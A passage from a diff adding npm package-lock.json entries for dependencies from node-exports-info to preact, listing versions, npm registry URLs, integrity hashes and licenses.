"^6.3.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/node-exports-info/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/node-fetch-native": { + "version": "1.6.7", + "resolved": "https://registry.npmjs.org/node-fetch-native/-/node-fetch-native-1.6.7.tgz", + "integrity": "sha512-g9yhqoedzIUm0nTnTqAQvueMPVOuIY16bqgAJJC8XOOubYFNwz6IER9qs0Gq2Xd0+CecCKFjtdDTMA4u4xG06Q==", + "license": "MIT" + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/nypm": { + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/nypm/-/nypm-0.6.5.tgz", + "integrity": "sha512-K6AJy1GMVyfyMXRVB88700BJqNUkByijGJM8kEHpLdcAt+vSQAVfkWWHYzuRXHSY6xA2sNc5RjTj0p9rE2izVQ==", + "license": "MIT", + "dependencies": { + "citty": "^0.2.0", + "pathe": "^2.0.3", + "tinyexec": "^1.0.2" + }, + "bin": { + "nypm": "dist/cli.mjs" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/nypm/node_modules/citty": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/citty/-/citty-0.2.1.tgz", + "integrity": "sha512-kEV95lFBhQgtogAPlQfJJ0WGVSokvLr/UEoFPiKKOXF7pl98HfUVUD0ejsuTCld/9xH9vogSywZ5KqHzXrZpqg==", + "license": "MIT" + }, + "node_modules/oauth": { + "version": "0.9.15", + "resolved": "https://registry.npmjs.org/oauth/-/oauth-0.9.15.tgz", + "integrity": "sha512-a5ERWK1kh38ExDEfoO6qUHJb32rd7aYmPHuyCu3Fta/cnICvYmgd2uhuKXvPD+PXB+gCEYYEaQdIRAjCOwAKNA==", + "license": "MIT" + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz", + "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0", + "has-symbols": "^1.1.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.entries": { + "version": "1.1.9", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.9.tgz", + "integrity": "sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.fromentries": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.8.tgz", + "integrity": "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.groupby": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.3.tgz", + "integrity": "sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.values": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.2.1.tgz", + "integrity": "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/ohash": { + "version": "2.0.11", + "resolved": "https://registry.npmjs.org/ohash/-/ohash-2.0.11.tgz", + "integrity": "sha512-RdR9FQrFwNBNXAr4GixM8YaRZRJ5PUWbKYbE5eOsrwAjJW0q2REGcf79oYPsLyskQCZG1PLN+S/K1V00joZAoQ==", + "license": "MIT" + }, + "node_modules/oidc-token-hash": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/oidc-token-hash/-/oidc-token-hash-5.2.0.tgz", + "integrity": "sha512-6gj2m8cJZ+iSW8bm0FXdGF0YhIQbKrfP4yWTNzxc31U6MOjfEmB1rHvlYvxI1B7t7BCi1F2vYTT6YhtQRG4hxw==", + "license": "MIT", + "engines": { + "node": "^10.13.0 || >=12.0.0" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/openid-client": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/openid-client/-/openid-client-5.7.1.tgz", + "integrity": "sha512-jDBPgSVfTnkIh71Hg9pRvtJc6wTwqjRkN88+gCFtYWrlP4Yx2Dsrow8uPi3qLr/aeymPF3o2+dS+wOpglK04ew==", + "license": "MIT", + "dependencies": { + "jose": "^4.15.9", + "lru-cache": "^6.0.0", + "object-hash": "^2.2.0", + "oidc-token-hash": "^5.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/panva" + } + }, + "node_modules/openid-client/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/openid-client/node_modules/object-hash": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-2.2.0.tgz", + "integrity": "sha512-gScRMn0bS5fH+IuwyIFgnh9zBdo4DV+6GhygmWM9HyNJSgS0hScp1f5vjtm7oIIOiT9trXrShAkLFSc2IqKNgw==", + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/own-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/own-keys/-/own-keys-1.0.1.tgz", + "integrity": "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "get-intrinsic": "^1.2.6", + "object-keys": "^1.1.1", + "safe-push-apply": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/papaparse": { + "version": "5.5.3", + "resolved": "https://registry.npmjs.org/papaparse/-/papaparse-5.5.3.tgz", + "integrity": "sha512-5QvjGxYVjxO59MGU2lHVYpRWBBtKHnlIAcSe1uNFCkkptUh63NFRj0FJQm7nR67puEruUci/ZkjmEFrjCAyP4A==", + "license": "MIT" + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true, + "license": "MIT" + }, + "node_modules/path-scurry": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", + "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^10.2.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "engines": { + "node": ">=16 || 14 >=14.18" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/pathe": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", + "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", + "license": "MIT" + }, + "node_modules/perfect-debounce": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/perfect-debounce/-/perfect-debounce-1.0.0.tgz", + "integrity": "sha512-xCy9V055GLEqoFaHoC1SoLIaLmWctgCUaBaWxDZ7/Zx4CTyX7cJQLJOok/orfjZAh9kEYpjJa4d0KcJmCbctZA==", + "license": "MIT" + }, + "node_modules/pg": { + "version": "8.19.0", + "resolved": "https://registry.npmjs.org/pg/-/pg-8.19.0.tgz", + "integrity": "sha512-QIcLGi508BAHkQ3pJNptsFz5WQMlpGbuBGBaIaXsWK8mel2kQ/rThYI+DbgjUvZrIr7MiuEuc9LcChJoEZK1xQ==", + "license": "MIT", + "dependencies": { + "pg-connection-string": "^2.11.0", + "pg-pool": "^3.12.0", + "pg-protocol": "^1.12.0", + "pg-types": "2.2.0", + "pgpass": "1.0.5" + }, + "engines": { + "node": ">= 16.0.0" + }, + "optionalDependencies": { + "pg-cloudflare": "^1.3.0" + }, + "peerDependencies": { + "pg-native": ">=3.0.1" + }, + "peerDependenciesMeta": { + "pg-native": { + "optional": true + } + } + }, + "node_modules/pg-cloudflare": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/pg-cloudflare/-/pg-cloudflare-1.3.0.tgz", + "integrity": "sha512-6lswVVSztmHiRtD6I8hw4qP/nDm1EJbKMRhf3HCYaqud7frGysPv7FYJ5noZQdhQtN2xJnimfMtvQq21pdbzyQ==", + "license": "MIT", + "optional": true + }, + "node_modules/pg-connection-string": { + "version": "2.11.0", + "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.11.0.tgz", + "integrity": "sha512-kecgoJwhOpxYU21rZjULrmrBJ698U2RxXofKVzOn5UDj61BPj/qMb7diYUR1nLScCDbrztQFl1TaQZT0t1EtzQ==", + "license": "MIT" + }, + "node_modules/pg-int8": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/pg-int8/-/pg-int8-1.0.1.tgz", + "integrity": "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw==", + "license": "ISC", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/pg-pool": { + "version": "3.12.0", + "resolved": "https://registry.npmjs.org/pg-pool/-/pg-pool-3.12.0.tgz", + "integrity": "sha512-eIJ0DES8BLaziFHW7VgJEBPi5hg3Nyng5iKpYtj3wbcAUV9A1wLgWiY7ajf/f/oO1wfxt83phXPY8Emztg7ITg==", + "license": "MIT", + "peerDependencies": { + "pg": ">=8.0" + } + }, + "node_modules/pg-protocol": { + "version": "1.12.0", + "resolved": "https://registry.npmjs.org/pg-protocol/-/pg-protocol-1.12.0.tgz", + "integrity": "sha512-uOANXNRACNdElMXJ0tPz6RBM0XQ61nONGAwlt8da5zs/iUOOCLBQOHSXnrC6fMsvtjxbOJrZZl5IScGv+7mpbg==", + "license": "MIT" + }, + "node_modules/pg-types": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/pg-types/-/pg-types-2.2.0.tgz", + "integrity": "sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA==", + "license": "MIT", + "dependencies": { + "pg-int8": "1.0.1", + "postgres-array": "~2.0.0", + "postgres-bytea": "~1.0.0", + "postgres-date": "~1.0.4", + "postgres-interval": "^1.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/pg-types/node_modules/postgres-array": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-2.0.0.tgz", + "integrity": "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/pgpass": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/pgpass/-/pgpass-1.0.5.tgz", + "integrity": "sha512-FdW9r/jQZhSeohs1Z3sI1yxFQNFvMcnmfuj4WBMUTxOrAyLMaTcE1aAMBiTlbMNaXvBCQuVi0R7hd8udDSP7ug==", + "license": "MIT", + "dependencies": { + "split2": "^4.1.0" + } + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pirates": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", + "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/pkg-types": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pkg-types/-/pkg-types-2.3.0.tgz", + "integrity": "sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig==", + "license": "MIT", + "dependencies": { + "confbox": "^0.2.2", + "exsolve": "^1.0.7", + "pathe": "^2.0.3" + } + }, + "node_modules/pngjs": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/pngjs/-/pngjs-5.0.0.tgz", + "integrity": "sha512-40QW5YalBNfQo5yRYmiw7Yz6TKKVr3h6970B2YE+3fQpsWcrbj1PzJgxeJ19DRQjhMbKPIuMY8rFaXc8moolVw==", + "license": "MIT", + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/possible-typed-array-names": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz", + "integrity": "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/postcss": { + "version": "8.5.6", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", + "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-import": { + "version": "15.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", + "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-js": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz", + "integrity": "sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "camelcase-css": "^2.0.1" + }, + "engines": { + "node": "^12 || ^14 || >= 16" + }, + "peerDependencies": { + "postcss": "^8.4.21" + } + }, + "node_modules/postcss-load-config": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz", + "integrity": "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "lilconfig": "^3.1.1" + }, + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "jiti": ">=1.21.0", + "postcss": ">=8.0.9", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + }, + "postcss": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/postcss-nested": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz", + "integrity": "sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.1.1" + }, + "engines": { + "node": ">=12.0" + }, + "peerDependencies": { + "postcss": "^8.2.14" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.1.2", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", + "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/postcss/node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/postgres": { + "version": "3.4.7", + "resolved": "https://registry.npmjs.org/postgres/-/postgres-3.4.7.tgz", + "integrity": "sha512-Jtc2612XINuBjIl/QTWsV5UvE8UHuNblcO3vVADSrKsrc6RqGX6lOW1cEo3CM2v0XG4Nat8nI+YM7/f26VxXLw==", + "license": "Unlicense", + "engines": { + "node": ">=12" + }, + "funding": { + "type": "individual", + "url": "https://github.com/sponsors/porsager" + } + }, + "node_modules/postgres-array": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-3.0.4.tgz", + "integrity": "sha512-nAUSGfSDGOaOAEGwqsRY27GPOea7CNipJPOA7lPbdEpx5Kg3qzdP0AaWC5MlhTWV9s4hFX39nomVZ+C4tnGOJQ==", + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/postgres-bytea": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/postgres-bytea/-/postgres-bytea-1.0.1.tgz", + "integrity": "sha512-5+5HqXnsZPE65IJZSMkZtURARZelel2oXUEO8rH83VS/hxH5vv1uHquPg5wZs8yMAfdv971IU+kcPUczi7NVBQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postgres-date": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/postgres-date/-/postgres-date-1.0.7.tgz", + "integrity": "sha512-suDmjLVQg78nMK2UZ454hAG+OAW+HQPZ6n++TNDUX+L0+uUlLywnoxJKDou51Zm+zTCjrCl0Nq6J9C5hP9vK/Q==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postgres-interval": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/postgres-interval/-/postgres-interval-1.2.0.tgz", + "integrity": "sha512-9ZhXKM/rw350N1ovuWHbGxnGh/SNJ4cnxHiM0rxE4VN41wsg8P8zWn9hv/buK00RP4WvlOyr/RBDiptyxVbkZQ==", + "license": "MIT", + "dependencies": { + "xtend": "^4.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/preact": { + "version": "10.24.3", + "resolved": "https://registry.npmjs.org/preact/-/preact-10.24.3.tgz", + "integrity": 